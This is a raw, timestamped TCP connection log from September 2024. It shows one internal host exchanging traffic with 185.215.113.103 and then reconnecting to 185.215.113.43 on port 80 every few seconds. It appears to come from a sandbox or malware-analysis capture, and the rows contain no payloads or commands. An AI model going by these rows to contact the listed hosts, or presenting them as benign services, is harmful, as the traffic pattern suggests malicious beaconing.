Sep 25, 2024 10:33:49.050931931 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050951958 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050960064 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050983906 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051017046 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051033974 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.051049948 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051062107 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.051081896 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051089048 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.051112890 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051129103 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.051145077 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051158905 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.051172972 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051203966 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051215887 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.051235914 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.051282883 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061531067 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061582088 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061630011 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061662912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061686039 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061709881 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061719894 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061743021 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061764002 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061790943 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061816931 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061821938 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061845064 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061853886 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061862946 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061886072 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061918974 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061934948 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061949015 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061966896 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.061983109 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.061994076 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062015057 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062022924 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062048912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062057972 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062081099 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062094927 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062114000 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062124014 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062144995 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062175989 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062181950 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062206984 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062212944 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.062238932 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.062303066 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.084878922 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.085098028 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100349903 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100406885 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100433111 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100447893 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100456953 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100503922 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100532055 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100537062 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100544930 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100588083 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100593090 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100624084 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100656033 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100672960 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100703001 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100735903 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100753069 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100766897 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100790977 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100804090 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100802898 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100835085 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100843906 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100867033 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100873947 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100897074 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100908041 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100929022 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100941896 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100960016 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.100960970 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.100991964 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.101001978 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.101023912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.101032019 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.101057053 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.101063013 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.101135969 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139446974 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139502048 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139513016 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139547110 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139550924 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139583111 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139626980 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139631033 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139662027 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139667988 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139709949 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139724970 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139740944 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139750957 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139785051 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139787912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139820099 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139831066 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139868021 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139899969 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139900923 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139914036 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139940977 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.139946938 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.139978886 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140012980 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140016079 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140053034 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140059948 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140091896 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140125990 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140125990 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140157938 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140187979 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140201092 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140219927 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140233994 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140250921 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140258074 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140284061 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140314102 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140326977 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140346050 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140362978 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140377998 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140386105 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140422106 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140429974 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140465975 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140471935 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140497923 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140506029 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140530109 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140528917 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140559912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140578985 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140600920 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140608072 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140645981 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140656948 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140676975 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140707970 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140716076 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140738964 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140769958 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140779018 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140801907 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140810966 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140842915 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140849113 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140882015 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140896082 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140922070 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140929937 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140960932 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.140974045 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.140995026 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141002893 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141026020 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141038895 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141057968 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141088963 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141102076 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141102076 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141135931 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141158104 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141166925 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141175985 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141206026 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141215086 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141249895 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141280890 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141297102 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141311884 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141315937 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141344070 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141376019 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141377926 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141391993 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141408920 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141410112 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141441107 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141452074 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141473055 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141504049 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141514063 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141537905 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141544104 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141568899 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141599894 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141617060 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141630888 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141653061 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141663074 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141678095 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141694069 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141707897 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141725063 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141733885 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141756058 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141765118 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141789913 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.141796112 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.141828060 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177508116 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177547932 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177577972 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177603006 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177604914 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177634954 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177647114 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177680016 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177684069 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177716970 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177720070 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177748919 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177783012 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.177797079 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.177819967 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:50.592863083 CEST	64696	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:50.593121052 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:50.597958088 CEST	80	64699	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:50.598038912 CEST	80	64696	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:50.598056078 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:50.598087072 CEST	64696	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:50.598237991 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:50.603008032 CEST	80	64699	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:52.074147940 CEST	80	64699	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:52.074206114 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:52.074501991 CEST	80	64699	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:52.074542999 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:52.074774981 CEST	80	64699	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:52.074867964 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:52.812944889 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:53.577450991 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:53.577769041 CEST	64703	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:53.582631111 CEST	80	64703	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:53.582647085 CEST	80	64699	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:53.582704067 CEST	64703	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:53.582727909 CEST	64699	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:53.583134890 CEST	64703	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:53.587912083 CEST	80	64703	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:54.279970884 CEST	80	64703	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:54.280092001 CEST	64703	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:56.014924049 CEST	64703	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:56.015221119 CEST	64706	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:56.020201921 CEST	80	64706	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:56.020267963 CEST	64706	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:56.020462990 CEST	64706	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:56.020692110 CEST	80	64703	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:56.020781994 CEST	64703	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:56.025813103 CEST	80	64706	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:56.739073038 CEST	80	64706	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:56.742969036 CEST	64706	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:58.492938995 CEST	64706	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:58.493212938 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:58.498099089 CEST	80	64706	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:58.498131037 CEST	80	64709	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:58.498234034 CEST	64706	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:58.498241901 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:58.498434067 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:58.503211975 CEST	80	64709	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:59.983700991 CEST	80	64709	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:59.983814955 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:59.983825922 CEST	80	64709	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:59.983937979 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:59.983956099 CEST	80	64709	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:59.984002113 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:01.608320951 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:01.608618021 CEST	64711	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:01.613584042 CEST	80	64711	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:01.613652945 CEST	80	64709	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:01.613699913 CEST	64709	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:01.613740921 CEST	64711	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:01.613986015 CEST	64711	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:01.618804932 CEST	80	64711	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:02.323259115 CEST	80	64711	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:02.323405981 CEST	64711	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:03.827261925 CEST	64711	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:03.827537060 CEST	64712	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:03.832410097 CEST	80	64712	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:03.832473040 CEST	80	64711	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:03.832613945 CEST	64711	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:03.832753897 CEST	64712	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:03.832753897 CEST	64712	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:03.837563038 CEST	80	64712	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:04.536880016 CEST	80	64712	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:04.537002087 CEST	64712	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:06.157257080 CEST	64712	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:06.157651901 CEST	64713	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:06.162626028 CEST	80	64713	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:06.162750959 CEST	64713	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:06.162791967 CEST	80	64712	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:06.162854910 CEST	64712	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:06.162858963 CEST	64713	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:06.167790890 CEST	80	64713	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:06.884141922 CEST	80	64713	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:06.884361029 CEST	64713	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:08.390889883 CEST	64713	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:08.391221046 CEST	64715	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:08.396109104 CEST	80	64715	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:08.396125078 CEST	80	64713	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:08.396214008 CEST	64713	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:08.397397041 CEST	64715	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:08.397608042 CEST	64715	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:08.402415991 CEST	80	64715	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:09.091748953 CEST	80	64715	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:09.091823101 CEST	64715	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:10.719980001 CEST	64715	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:10.720313072 CEST	64716	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:10.725104094 CEST	80	64715	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:10.725120068 CEST	80	64716	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:10.725195885 CEST	64715	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:10.725234032 CEST	64716	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:10.725399971 CEST	64716	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:10.730159998 CEST	80	64716	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:11.419540882 CEST	80	64716	185.215.113.43	192.168.2.6
